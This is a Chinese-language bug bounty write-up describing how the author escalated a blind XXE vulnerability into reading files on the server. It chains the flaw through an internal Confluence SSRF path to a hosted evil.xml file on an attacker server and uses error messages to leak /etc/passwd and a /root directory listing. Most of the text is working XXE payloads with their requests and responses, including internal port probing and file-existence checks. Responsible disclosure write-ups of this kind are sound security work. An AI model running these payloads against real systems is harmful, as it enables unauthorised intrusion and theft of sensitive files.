在一次最近的 bug bounty
活动中,我找到了一个端点(应用服务)了HTTP
响应的数据为XML
结构,我认为这里存在一个XXE
漏洞。但是关于这个端点(应用服务)是没有文档说明的,唯一能够找到的介绍是一篇2016年一位心烦意乱的开发人员写的。
接下来,我大致描述一下我将一个中等难度漏洞提升成高危漏洞的过程和思路。
我认为在测试的过程中遇到的错误信息是很重要的,我也会对这些错误信息进行强调,希望这些错误信息能够在未来为其他人指明正确的方向。
注意:我已经对端点和其他信息进行了隐藏,因为漏洞是作为私有披露计划的一部分报告的,受影响的公司不希望发布任何关于其环境或发现的信息。
为什么这个端点能够引起我的注意,是因为这个端点响应的是一个简单的XML
结构的错误信息和404。
请求:
GET /interesting/ HTTP/1.1
Host: server.company.com
响应
HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 04 Dec 2018 10:08:18 GMT
Content-Type: text/xml
Content-Length: 189
Connection: keep-alive
<result>
<errors>
<error>The request is invalid: The requested resource could not be found.</error>
</errors>
</result>
我改变请求的方法为POST
时,在header
头部添加 Content-Type: application/xml
并在POST
数据中添加了一个不合法的XML
数据,响应更加说明这里有XXE
漏洞了。
请求:
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
<xml version="abc" ?>
<Doc/>
响应:
<result>
<errors>
<error>The request is invalid: The request content was malformed:
XML version "abc" is not supported, only XML 1.0 is supported.</error>
</errors>
</result>
但是当我发送一个正确的结构化的XML
文档时:
请求:
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
<?xml version="1.0" ?>
<Doc/>
响应:
<result>
<errors>
<error>Authentication failed: The resource requires authentication, which was not supplied with the request</error>
</errors>
</result>
注意了,服务器明显需要凭证,在交互的过程中。遗憾的是,没有文档说明应该如何提供凭证,我也无法在任何地方找到可能有效的凭证。这可能是个坏消息,因为我以前遇到的许多XXE漏洞需要与端点进行某种“有效”交互。如果没有身份验证,利用这个漏洞可能会变得困难得多。
但是现在还没有必要担心!在任何情况下,您都应该尝试包含DOCTYPE
定义的字串,以查看是否完全禁止使用外部实体,或者是否可以继续追求乐趣和回报。所以我试着发送了如下请求包:
请求
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://59c99fu65h6mqfmhf5agv1aptgz6nv.burpcollaborator.net/x"> %ext;
]>
<r></r>
响应:
The server was not able to produce a timely response to your request.
我看了下我的Burp Collaborator
交互界面,没有期望的HTTP
请求,只有如下部分。
幸运的是!服务器明显解析了我的域名,但是没有HTTP
请求。此外,注意到了服务器在几秒之后出现500错误。
看起来像防火墙起作用了。我继续尝试进行针对不同端口的出站HTTP
请求。但是没有可以达到效果的。所有端口都超时了,显示受影响的服务器至少可以依赖防火墙成功地阻止所有非预期的出站流量。给网络安全团队5分!
在这一点上,我有一个有趣的发现,但还没有什么真正值得说明的。通过尝试访问本地文件、内部网络和内部服务,我希望能够从中获得一份中危的报告。
为了证明影响,我展示了此漏洞可以用来成功确定文件是否存在:
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "file:///etc/passwd"> %ext;
]>
<r></r>
响应
The markup declarations contained or pointed to by the document type declaration must be well-formed.
这表明文件存在,XML解析器可以打开和读取文件,但是文件的内容不是有效的文档类型定义(DTD),因此解析器失败并抛出错误。换句话说,外部实体的加载并没有被禁用,但是我们似乎没有得到任何输出。在这个阶段,这似乎是一个blind XXE漏洞。
假设使用的是Java
的SAX Parser
解析器,因为报错似乎和Java
错误类有联系 org.xml.sax.SAXParseExceptionpublicId
这很有趣,因为Java在涉及XXE时有许多特性,我们稍后将指出这一点。
当我们访问的文件不存在时,响应是这样的:
请求
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "file:///etc/passwdxxx"> %ext;
]>
<r></r>
响应:
The request is invalid: The request content was malformed:
/etc/passwdxxx (No such file or directory)
好的,有用但不太好; 如何使用这个blind XXE
漏洞作为基本端口扫描器?
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://localhost:22/"> %ext;
]>
<r></r>
响应
The request is invalid: The request content was malformed:
Invalid Http response
很好——这意味着我们可以列举内部服务。这仍然不是我想要的很酷的结果,但至少是一些值得报道的东西。这种类型的blind XXE
有效地表现为与blind
服务器端请求伪造(SSRF
)漏洞类似的行为:您可以启动内部HTTP
请求,但不能读取响应。
这让我怀疑是否可以应用任何其他与ssrf
相关的技术,以便更好地利用这个blind XXE
漏洞。需要检查的一件事是对其他协议的支持,包括https
、gopher
、ftp
、jar
、scp
等。
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [ <!ENTITY % ext SYSTEM "gopher://localhost/"> %ext; ]>
<r></r>
响应:
The request is invalid: The request content was malformed:
unknown protocol: gopher
这很有趣,因为它将用户提供的协议在错误消息中返回回来。我们把它记下来,以后再用。
漏洞与blind ssrf
漏洞具有相似性,看看我们是否能够访问任何内部web
应用程序是有意义的。由于我的目标公司似乎与相当广泛和多样化的开发人员合作,GitHub
中充斥着x.company.internal
格式的地址。我找到了一些看起来很有前途的内部资源(很可能有漏洞的服务器)。
wiki.company.internal
jira.company.internal
confluence.company.internal
考虑到防火墙之前阻止了我的传出流量,我想验证内部流量是否也被阻止了,或者内部网络是否更可信。
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://wiki.company.internal/"> %ext;
]>
<r></r>
响应
The markup declarations contained or pointed to by the document type declaration must be well-formed.
有趣的是,我们以前看到过这个错误消息,它表示读取了请求的资源,但是没有正确格式化。这意味着允许内部网络通信,并且我们的内部请求成功了!
这就是我们的处境。使用blind XXE
漏洞,可以向许多内部web应用程序发起请求,枚举文件系统中文件的存在性,以及枚举在所有内部主机上运行的服务。在这一点上,我报告了这种漏洞,并在周末前往耶路撒冷的城市之旅中思考进一步的可能性。
周末精神焕发地回来后,我下定决心要找出这个脆弱点可能造成的影响。具体来说,如果我可以在内部网络上找到一个类似代理的主机,未经过滤的内部网络流量可能被滥用将流量路由到外部。
通常,在没有任何形式的可读反馈的情况下,在web应用程序上发现漏洞几乎是不可能的。幸运的是,在Jira中存在一个已知的SSRF漏洞,这已经在许多文章中得到了证明。
我立即去测试我的运气与内部的Jira服务器
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "https://jira.company.internal/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>
响应:
The request is invalid: The request content was malformed:
sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
HTTPS
的流量失败了,如果 SSL
验证出错的话。幸运的是,Jira
默认在8080
端口上运行HTTP
服务。
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>
响应:
The request is invalid: The request content was malformed:
http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri
我又检查了一下Burp Collaborator
的交互信息,但运气不佳。Jira
实例可能已经打了补丁,或者已经禁用了易受攻击的插件。于是,我疯狂而徒劳地寻找不同类型的Wiki
应用程序上已知的SSRF
漏洞之后(并不是最优选择),我决定测试内部Confluence
实例是否存在相同的Jira
漏洞(默认情况下运行在端口8090上)。
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>
响应:
The request is invalid: The request content was malformed:
The markup declarations contained or pointed to by the document type declaration must be well-formed.
发现
我们成功地通过一个内部易受攻击的Confluence
来绕过防火墙限制出站的internet
流量。这意味着我们现在可以尝试XXE
的经典方法。让我们从托管一个evil.xml
文件开始。攻击者服务器托管evil.xml
,包含以下内容,希望触发有趣的错误消息:
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">
让我们更详细地看看这些参数实体的定义:
注意,我们希望第三个定义失败,因为(%file)
的内容;不会指向有效的资源位置,而是包含完整目录的内容。
现在,使用Confluence
(proxy
)指向我们的恶意文件,并确保参数(%ent)
; 实体参数(&data;)
被访问以触发目录访问:
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应
no protocol: bin
boot
dev
etc
home
[...]
太棒了!列出了服务器的目录内容!
有趣的是,这显示了从服务器返回基于错误的输出的另一种方法,即指定一个“丢失的”协议,而不是我们前面看到的无效协议。
这可以帮助我们解决在读取包含冒号的文件时遇到的最后一个难点,因为使用上述方法读取/etc/passwd
会导致以下错误:
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应:
unknown protocol: root
换句话说,在冒号:
第一次出现之前,可以读取文件,但是读取冒号之后不能再读取了。绕过这一点并强制在错误消息中显示完整的文件内容的一种方法是在文件内容之前加上一个冒号。这将导致no protocol
错误,因为第一个冒号之前的字段将是空的,即未定义。托管的 evil.xml
修改为:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应:
no protocol: :root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[…]
Java 在访问目录时还会返回目录列表,于是尝试访问根目录文件。
evil.xml
<!ENTITY % file SYSTEM "file:///root">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应:
no protocol: :.bash_history
.bash_logout
.bash_profile
.bashrc
.pki
.ssh
[...]
就是这样,看来我们很幸运。通过滥用不充分的网络分隔、未打补丁的内部应用程序服务器、过度特权的web服务器以及通过过于冗长的错误消息传递导致的信息泄漏,我们成功地将一个blind XXE
漏洞提升为读取root
目录和文件的漏洞。
红队:
Java SAX
解析器对URL
模式的有趣处理允许使用一些新的方法提取信息。虽然现代Java
版本不允许将多行文件作为外部HTTP请求(即attacker.org/?&file;
)的方式导出,但是在错误消息中,甚至在URL
协议中,都可以获得多行响应蓝队:
1.20181126-第一次注意到有趣的XML端点
2.20181128-blind XXE报告:可以列举文件、目录、内部网络位置和开放端口
3.20181203-发现易受攻击的内部Confluence服务器,报告POC演示了读取根目录文件的能力
4.20181204-漏洞修复获得奖金
5.20181206-申请发表文章;
6.20181212-批准。